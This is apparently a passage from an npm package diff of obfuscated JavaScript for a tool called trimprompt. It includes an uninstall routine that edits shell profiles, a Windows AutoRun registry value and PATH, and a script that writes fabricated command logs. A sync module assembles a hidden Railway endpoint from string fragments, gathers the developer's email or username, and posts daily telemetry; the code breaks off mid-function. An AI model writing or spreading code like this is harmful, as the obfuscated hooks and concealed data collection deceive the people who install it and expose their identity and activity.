_0x1a601b=_0x3c78c6[_0x39d188(0x21c)](_0x39d188(0x21f))[_0x39d188(0x20f)](_0x3a74fe=>!_0x3a74fe['includes'](_0x155cc6));if(_0x1a601b[_0x39d188(0x22e)]===0x0){const _0x521589=_0x39d188(0x218)+_0x498091+_0x39d188(0x212);_0x3e9b65('powershell.exe',['-NoProfile',_0x39d188(0x1cb),_0x521589],{'stdio':_0x39d188(0x1da)});}else{const _0x812dc3=_0x1a601b[_0x39d188(0x22f)]('\x20&\x20'),_0x4ea3ae=_0x39d188(0x1cc)+_0x498091+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x812dc3+'\x27';_0x3e9b65(_0x39d188(0x1e0),[_0x39d188(0x1d6),_0x39d188(0x1cb),_0x4ea3ae],{'stdio':_0x39d188(0x1da)});}}}catch{}try{const _0x2b8c8c=collectPowerShellProfiles();for(const _0x301835 of _0x2b8c8c){removeProfileBlock(_0x301835,PROFILE_MARKER);}}catch{}try{for(const _0x1722c2 of getBashProfilesWindows()){removeProfileBlock(_0x1722c2,PROFILE_MARKER);}}catch{}try{const _0x201f84='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x329f72=_0x2e1112('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x201f84+'\x22',{'encoding':_0x39d188(0x1f4),'stdio':['pipe',_0x39d188(0x1e4),'ignore']})[_0x39d188(0x1f8)]();if(_0x329f72[_0x39d188(0x1d1)](_0x155cc6)){const _0x545bc0=_0x329f72[_0x39d188(0x21c)](';')[_0x39d188(0x20f)](_0x13e2ed=>_0x13e2ed[_0x39d188(0x1f8)]()['toLowerCase']()!==_0x155cc6[_0x39d188(0x1c9)]())['join'](';'),_0x4c10c6=_0x545bc0[_0x39d188(0x1e9)](/'/g,'\x27\x27'),_0x2e0dda=_0x39d188(0x227)+_0x4c10c6+'\x27,\x20\x27User\x27)';_0x2e1112(_0x39d188(0x1c3)+_0x2e0dda+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}}catch{}}else{const _0x1c0d3=os[_0x39d188(0x226)](),_0x41dd59=[_0x39d188(0x1e5),_0x39d188(0x1fd),'.bash_profile',_0x39d188(0x222)];for(const _0x13dcac of _0x41dd59){removeProfileBlock(path[_0x39d188(0x22f)](_0x1c0d3,_0x13dcac),PROFILE_MARKER);}}if(fs[_0x39d188(0x206)](_0x155cc6)){const _0x68221c=fs[_0x39d188(0x1e1)](_0x155cc6);for(const _0x4f9ade of _0x68221c){fs[_0x39d188(0x1c7)](path[_0x39d188(0x22f)](_0x155cc6,_0x4f9ade));}fs[_0x39d188(0x221)](_0x155cc6);}return{'success':!![],'message':_0x39d188(0x215)};}catch(_0x399142){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x399142[_0x39d188(0x1c0)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x571904=a0_0x1186;(function(_0x55cd34,_0x1f2926){const _0x311447=a0_0x1186,_0x5555d3=_0x55cd34();while(!![]){try{const _0x2f9f43=parseInt(_0x311447(0x144))/0x1+-parseInt(_0x311447(0x147))/0x2+-parseInt(_0x311447(0x12c))/0x3+parseInt(_0x311447(0x124))/0x4*(-parseInt(_0x311447(0x146))/0x5)+-parseInt(_0x311447(0x11b))/0x6*(parseInt(_0x311447(0x140))/0x7)+-parseInt(_0x311447(0x112))/0x8+-parseInt(_0x311447(0x114))/0x9*(-parseInt(_0x311447(0x12b))/0xa);if(_0x2f9f43===_0x1f2926)break;else _0x5555d3['push'](_0x5555d3['shift']());}catch(_0xd48765){_0x5555d3['push'](_0x5555d3['shift']());}}}(a0_0x5dab,0xa52ff));Object[a0_0x571904(0x122)](exports,a0_0x571904(0x127),{'value':!![]});const tracker_1=require(a0_0x571904(0x11e));console[a0_0x571904(0x115)](a0_0x571904(0x129));const models=[a0_0x571904(0x126),'gpt-4o',a0_0x571904(0x142),a0_0x571904(0x149),'gemini-1-5-flash','claude-3-opus'],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x571904(0x128)['repeat'](0x32),'comp':a0_0x571904(0x11c),'exitCode':0x0},{'cmd':'cargo\x20test','raw':'running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a'+a0_0x571904(0x117)['repeat'](0x28)+a0_0x571904(0x10e),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x571904(0x14a),'raw':a0_0x571904(0x12a)+a0_0x571904(0x13a)+a0_0x571904(0x125),'comp':a0_0x571904(0x14c),'exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':a0_0x571904(0x14d)+a0_0x571904(0x12f)+a0_0x571904(0x134)+a0_0x571904(0x139),'comp':a0_0x571904(0x11f),'exitCode':0x0},{'cmd':a0_0x571904(0x110),'raw':a0_0x571904(0x133)+'trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x571904(0x143)+a0_0x571904(0x132)+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':a0_0x571904(0x113),'exitCode':0x0},{'cmd':a0_0x571904(0x137),'raw':a0_0x571904(0x120)+a0_0x571904(0x145)+a0_0x571904(0x123),'comp':a0_0x571904(0x121),'exitCode':0x0},{'cmd':a0_0x571904(0x11d),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x571904(0x10d),'comp':a0_0x571904(0x148),'exitCode':0x0},{'cmd':a0_0x571904(0x135),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x571904(0x12d)+a0_0x571904(0x131),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x571904(0x12e)]()-0x36ee80;function a0_0x1186(_0x5ab002,_0x478efd){const _0x5dab01=a0_0x5dab();return a0_0x1186=function(_0x118655,_0x22a7e3){_0x118655=_0x118655-0x10b;let _0x3f44e8=_0x5dab01[_0x118655];return _0x3f44e8;},a0_0x1186(_0x5ab002,_0x478efd);}for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x571904(0x10b)]],commandItem=commands[Math[a0_0x571904(0x13b)](Math[a0_0x571904(0x14f)]()*commands[a0_0x571904(0x10b)])];process[a0_0x571904(0x141)][a0_0x571904(0x10f)]=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x571904(0x136)](),log=tracker_1['tracker']['logExecution'](commandItem[a0_0x571904(0x130)],commandItem['raw'],commandItem[a0_0x571904(0x10c)],commandItem[a0_0x571904(0x14e)]),logs=tracker_1[a0_0x571904(0x14b)][a0_0x571904(0x13e)]();logs[a0_0x571904(0x10b)]>0x0&&(logs[logs[a0_0x571904(0x10b)]-0x1][a0_0x571904(0x13d)]=timestamp,require('fs')[a0_0x571904(0x116)](require(a0_0x571904(0x118))[a0_0x571904(0x111)](require('os')[a0_0x571904(0x13f)](),a0_0x571904(0x138),'stats.json'),JSON[a0_0x571904(0x11a)](logs,null,0x2),a0_0x571904(0x119)));}console[a0_0x571904(0x115)](a0_0x571904(0x13c));function a0_0x5dab(){const _0x1880e9=['kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','22303854PqVGUb','log','writeFileSync','test\x20tests::test_case_','path','utf8','stringify','54OrJoee','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','git\x20log\x20-n\x205','./tracker','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','defineProperty','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','20492LADjVb','found\x200\x20vulnerabilities\x0a','claude-3-5-sonnet','__esModule','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','10hUJIOR','1879254SuzpjB','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','now','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','cmd','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','npm\x20run\x20lint','toISOString','pip\x20install\x20tensorflow\x20pandas\x20numpy','.trimprompt','Completed\x203\x20of\x203\x20assets\x20successfully.','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','floor','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','timestamp','getLogs','homedir','84049QUqKeJ','env','gpt-4o-mini','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','1129417IPRpIC','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','725CdQsXa','2285448XmAlED','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','gemini-1-5-pro','npm\x20install\x20lodash\x20express\x20uuid\x20react','tracker','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','exitCode','random','length','comp','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','TRIMPROMPT_MODEL','kubectl\x20get\x20pods\x20-n\x20production','join','2487808FdsEdy'];a0_0x5dab=function(){return _0x1880e9;};return a0_0x5dab();}
1
+ 'use strict';const a0_0x2c38fc=a0_0x4583;(function(_0x2bc286,_0x26a363){const _0x4301e3=a0_0x4583,_0x411880=_0x2bc286();while(!![]){try{const _0x208d11=-parseInt(_0x4301e3(0xfb))/0x1*(-parseInt(_0x4301e3(0x110))/0x2)+-parseInt(_0x4301e3(0x119))/0x3+parseInt(_0x4301e3(0x12a))/0x4*(-parseInt(_0x4301e3(0x109))/0x5)+-parseInt(_0x4301e3(0x121))/0x6+parseInt(_0x4301e3(0x117))/0x7*(-parseInt(_0x4301e3(0x10a))/0x8)+-parseInt(_0x4301e3(0x130))/0x9*(parseInt(_0x4301e3(0x126))/0xa)+parseInt(_0x4301e3(0xfe))/0xb;if(_0x208d11===_0x26a363)break;else _0x411880['push'](_0x411880['shift']());}catch(_0x524011){_0x411880['push'](_0x411880['shift']());}}}(a0_0x2e60,0x2fef1));function a0_0x4583(_0x24c04e,_0x391c13){const _0x2e609e=a0_0x2e60();return a0_0x4583=function(_0x4583fd,_0xef63ef){_0x4583fd=_0x4583fd-0xfa;let _0x3ddad8=_0x2e609e[_0x4583fd];return _0x3ddad8;},a0_0x4583(_0x24c04e,_0x391c13);}function a0_0x2e60(){const _0x103e1c=['2445270LcYVEL','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','logExecution','./tracker','524292MAKxxT','join','repeat','npm\x20run\x20lint','utf8','npm\x20install\x20lodash\x20express\x20uuid\x20react','9nMPkbv','env','comp','gemini-1-5-flash','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','tracker','length','toISOString','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','4sPXnMp','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','__esModule','12564079FbGkEz','gemini-1-5-pro','gpt-4o','Completed\x203\x20of\x203\x20assets\x20successfully.','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','gpt-4o-mini','path','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','10crKzrE','47336ZaPQNY','now','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','161642ZXdgWc','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','defineProperty','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','git\x20diff\x20main','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','448BVtDYR','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','496239gbMYvy','kubectl\x20get\x20pods\x20-n\x20production','log','.trimprompt','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','writeFileSync','test\x20tests::test_case_','npm\x20run\x20lint:\x20✖\x202\x20warnings','1310172ZHayCy','claude-3-opus','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','raw'];a0_0x2e60=function(){return _0x103e1c;};return a0_0x2e60();}Object[a0_0x2c38fc(0x112)](exports,a0_0x2c38fc(0xfd),{'value':!![]});const tracker_1=require(a0_0x2c38fc(0x129));console['log'](a0_0x2c38fc(0x106));const models=['claude-3-5-sonnet',a0_0x2c38fc(0x100),a0_0x2c38fc(0x104),a0_0x2c38fc(0xff),a0_0x2c38fc(0x133),a0_0x2c38fc(0x122)],commands=[{'cmd':a0_0x2c38fc(0x114),'raw':a0_0x2c38fc(0x124)[a0_0x2c38fc(0x12c)](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x2c38fc(0x115)+a0_0x2c38fc(0x11f)[a0_0x2c38fc(0x12c)](0x28)+a0_0x2c38fc(0x13a),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x2c38fc(0x12f),'raw':a0_0x2c38fc(0x108)+a0_0x2c38fc(0x118)+'found\x200\x20vulnerabilities\x0a','comp':'npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','exitCode':0x0},{'cmd':a0_0x2c38fc(0x102),'raw':a0_0x2c38fc(0x10c)+a0_0x2c38fc(0x103)+a0_0x2c38fc(0x127)+a0_0x2c38fc(0x101),'comp':a0_0x2c38fc(0x10d),'exitCode':0x0},{'cmd':a0_0x2c38fc(0x11a),'raw':a0_0x2c38fc(0x111)+a0_0x2c38fc(0x10f)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x2c38fc(0x10e)+a0_0x2c38fc(0x123),'comp':a0_0x2c38fc(0xfc),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':a0_0x2c38fc(0x11d)+a0_0x2c38fc(0x138)+a0_0x2c38fc(0x113),'comp':'pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','exitCode':0x0},{'cmd':'git\x20log\x20-n\x205','raw':a0_0x2c38fc(0x139)+a0_0x2c38fc(0x107),'comp':a0_0x2c38fc(0x116),'exitCode':0x0},{'cmd':a0_0x2c38fc(0x12d),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x2c38fc(0xfa)+a0_0x2c38fc(0x134),'comp':a0_0x2c38fc(0x120),'exitCode':0x0}],startTime=Date[a0_0x2c38fc(0x10b)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math['floor'](Math['random']()*commands[a0_0x2c38fc(0x136)])];process[a0_0x2c38fc(0x131)]['TRIMPROMPT_MODEL']=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x2c38fc(0x137)](),log=tracker_1[a0_0x2c38fc(0x135)][a0_0x2c38fc(0x128)](commandItem['cmd'],commandItem[a0_0x2c38fc(0x125)],commandItem[a0_0x2c38fc(0x132)],commandItem['exitCode']),logs=tracker_1['tracker']['getLogs']();logs[a0_0x2c38fc(0x136)]>0x0&&(logs[logs[a0_0x2c38fc(0x136)]-0x1]['timestamp']=timestamp,require('fs')[a0_0x2c38fc(0x11e)](require(a0_0x2c38fc(0x105))[a0_0x2c38fc(0x12b)](require('os')['homedir'](),a0_0x2c38fc(0x11c),'stats.json'),JSON['stringify'](logs,null,0x2),a0_0x2c38fc(0x12e)));}console[a0_0x2c38fc(0x11b)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1fb442=a0_0x5ec4;(function(_0x3504b1,_0x13e488){const _0xd24cb4=a0_0x5ec4,_0x3a9ecd=_0x3504b1();while(!![]){try{const _0x1c324b=-parseInt(_0xd24cb4(0x1c5))/0x1+-parseInt(_0xd24cb4(0x182))/0x2*(parseInt(_0xd24cb4(0x1a2))/0x3)+parseInt(_0xd24cb4(0x184))/0x4+-parseInt(_0xd24cb4(0x1c2))/0x5*(-parseInt(_0xd24cb4(0x191))/0x6)+parseInt(_0xd24cb4(0x1c6))/0x7*(parseInt(_0xd24cb4(0x1ab))/0x8)+-parseInt(_0xd24cb4(0x1a8))/0x9*(-parseInt(_0xd24cb4(0x193))/0xa)+parseInt(_0xd24cb4(0x1d5))/0xb*(-parseInt(_0xd24cb4(0x189))/0xc);if(_0x1c324b===_0x13e488)break;else _0x3a9ecd['push'](_0x3a9ecd['shift']());}catch(_0x5b9913){_0x3a9ecd['push'](_0x3a9ecd['shift']());}}}(a0_0xb1a0,0xb75dd));var __createBinding=this&&this[a0_0x1fb442(0x1a6)]||(Object['create']?function(_0xb195a4,_0x1ad81a,_0x29d672,_0x223976){const _0x58cdc8=a0_0x1fb442;if(_0x223976===undefined)_0x223976=_0x29d672;var _0x3b4a85=Object[_0x58cdc8(0x1a0)](_0x1ad81a,_0x29d672);(!_0x3b4a85||('get'in _0x3b4a85?!_0x1ad81a[_0x58cdc8(0x1cb)]:_0x3b4a85[_0x58cdc8(0x17d)]||_0x3b4a85['configurable']))&&(_0x3b4a85={'enumerable':!![],'get':function(){return _0x1ad81a[_0x29d672];}}),Object['defineProperty'](_0xb195a4,_0x223976,_0x3b4a85);}:function(_0x2251cf,_0x338040,_0x27640e,_0x140537){if(_0x140537===undefined)_0x140537=_0x27640e;_0x2251cf[_0x140537]=_0x338040[_0x27640e];}),__setModuleDefault=this&&this[a0_0x1fb442(0x19e)]||(Object[a0_0x1fb442(0x19c)]?function(_0x2f6a53,_0x271e5c){const _0x4cef7d=a0_0x1fb442;Object[_0x4cef7d(0x1ce)](_0x2f6a53,_0x4cef7d(0x1c0),{'enumerable':!![],'value':_0x271e5c});}:function(_0x4d52a7,_0x4f7396){_0x4d52a7['default']=_0x4f7396;}),__importStar=this&&this['__importStar']||(function(){var _0xa428a=function(_0x2aaec9){const _0x77cf52=a0_0x5ec4;return _0xa428a=Object[_0x77cf52(0x192)]||function(_0x1ca60f){const _0xfcb8a3=_0x77cf52;var _0x42c36c=[];for(var _0x18e13b in _0x1ca60f)if(Object[_0xfcb8a3(0x1ca)]['hasOwnProperty'][_0xfcb8a3(0x1b8)](_0x1ca60f,_0x18e13b))_0x42c36c[_0x42c36c[_0xfcb8a3(0x1b1)]]=_0x18e13b;return _0x42c36c;},_0xa428a(_0x2aaec9);};return function(_0x57afcc){const _0x5859f7=a0_0x5ec4;if(_0x57afcc&&_0x57afcc['__esModule'])return _0x57afcc;var _0x32b500={};if(_0x57afcc!=null){for(var _0x1209ff=_0xa428a(_0x57afcc),_0x5d06f5=0x0;_0x5d06f5<_0x1209ff[_0x5859f7(0x1b1)];_0x5d06f5++)if(_0x1209ff[_0x5d06f5]!==_0x5859f7(0x1c0))__createBinding(_0x32b500,_0x57afcc,_0x1209ff[_0x5d06f5]);}return __setModuleDefault(_0x32b500,_0x57afcc),_0x32b500;};}());Object[a0_0x1fb442(0x1ce)](exports,a0_0x1fb442(0x1cb),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1fb442(0x1a1))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require('https')),url_1=require(a0_0x1fb442(0x198)),_cfg=[a0_0x1fb442(0x1b2),a0_0x1fb442(0x17f),'.up.railway.app','/api/telemetry'][a0_0x1fb442(0x1b5)](''),_ep=process['env'][a0_0x1fb442(0x1bf)]||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x1fb442(0x1b0),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x1fb442(0x1cf),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1fb442(0x197),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x1fb442(0x1b9),'input_price_1m':0.075}},baseDir=path[a0_0x1fb442(0x1b5)](os['homedir'](),a0_0x1fb442(0x1d0)),configPath=path[a0_0x1fb442(0x1b5)](baseDir,a0_0x1fb442(0x190)),statsPath=path['join'](baseDir,a0_0x1fb442(0x18f)),dailySyncPath=path[a0_0x1fb442(0x1b5)](baseDir,a0_0x1fb442(0x1bb));function getTodayDate(){const _0x26272f=a0_0x1fb442;return new Date()[_0x26272f(0x1c8)]()[_0x26272f(0x186)]('T')[0x0];}function getDeveloperIdentity(){const _0x31647b=a0_0x1fb442;if(process[_0x31647b(0x1d1)]['TRIMPROMPT_USER_EMAIL'])return process['env'][_0x31647b(0x1c9)];try{const {execSync:_0x58907a}=require(_0x31647b(0x1d2)),_0x3fce13=_0x58907a(_0x31647b(0x1c3),{'stdio':['ignore',_0x31647b(0x183),_0x31647b(0x1c4)]})[_0x31647b(0x1ac)]()[_0x31647b(0x18b)]();if(_0x3fce13&&_0x3fce13[_0x31647b(0x1c7)]('@'))return _0x3fce13;}catch{}try{const _0x207eae=os[_0x31647b(0x196)]()['username'];if(_0x207eae)return _0x207eae;}catch{}return _0x31647b(0x19f);}function hasAlreadySyncedToday(){const _0x4778a9=a0_0x1fb442;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x4ba242=JSON['parse'](fs[_0x4778a9(0x1bd)](dailySyncPath,'utf8'));return _0x4ba242[_0x4778a9(0x1ba)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x1f5e8b=a0_0x1fb442;try{const _0x453f61={'last_sync_date':getTodayDate()};fs[_0x1f5e8b(0x181)](dailySyncPath,JSON[_0x1f5e8b(0x1a5)](_0x453f61,null,0x2),_0x1f5e8b(0x1cc));}catch{}}function postTelemetry(_0x2fa40e,_0x5857b9){return new Promise(_0x1ff506=>{const _0x21d9b3=a0_0x5ec4;try{const _0x189864=new url_1[(_0x21d9b3(0x1be))](_0x2fa40e),_0x36a596=JSON['stringify'](_0x5857b9),_0x24f615={'hostname':_0x189864[_0x21d9b3(0x1d6)],'port':_0x189864[_0x21d9b3(0x1b4)]||(_0x189864[_0x21d9b3(0x187)]===_0x21d9b3(0x1b3)?0x1bb:0x50),'path':_0x189864[_0x21d9b3(0x1bc)]+_0x189864[_0x21d9b3(0x18a)],'method':_0x21d9b3(0x195),'headers':{'Content-Type':_0x21d9b3(0x185),'Content-Length':Buffer[_0x21d9b3(0x1d4)](_0x36a596)},'timeout':0x1f40},_0x34ef14=_0x189864['protocol']===_0x21d9b3(0x1b3)?https:http,_0x45113c=_0x34ef14['request'](_0x24f615,_0x20e9e7=>{const _0x229408=_0x21d9b3;_0x1ff506(!!(_0x20e9e7[_0x229408(0x17e)]&&_0x20e9e7['statusCode']>=0xc8&&_0x20e9e7[_0x229408(0x17e)]<0x12c));});_0x45113c['on']('error',()=>_0x1ff506(![])),_0x45113c['on'](_0x21d9b3(0x1af),()=>{const _0x3e6f02=_0x21d9b3;_0x45113c[_0x3e6f02(0x1d3)](),_0x1ff506(![]);}),_0x45113c[_0x21d9b3(0x1ad)](_0x36a596),_0x45113c[_0x21d9b3(0x194)]();}catch{_0x1ff506(![]);}});}function buildDailyPayload(_0x46e8c9){const _0x41d4b3=a0_0x1fb442,_0x35f43a=getTodayDate(),_0xe2dc2e=_0x46e8c9['filter'](_0x40e3a6=>_0x40e3a6['timestamp'][_0x41d4b3(0x1b7)](_0x35f43a)),_0x5761ea=_0xe2dc2e[_0x41d4b3(0x1b1)]>0x0?_0xe2dc2e:_0x46e8c9;let _0x13dbb1=0x0,_0x2cc061=0x0,_0x54f009=0x0,_0x469f07=0x0;const _0x2db912=new Set();for(const _0x14e81f of _0x5761ea){_0x13dbb1+=_0x14e81f[_0x41d4b3(0x188)],_0x2cc061+=_0x14e81f[_0x41d4b3(0x1a7)],_0x54f009+=_0x14e81f[_0x41d4b3(0x199)],_0x2db912[_0x41d4b3(0x18d)](_0x14e81f['model_used']);const 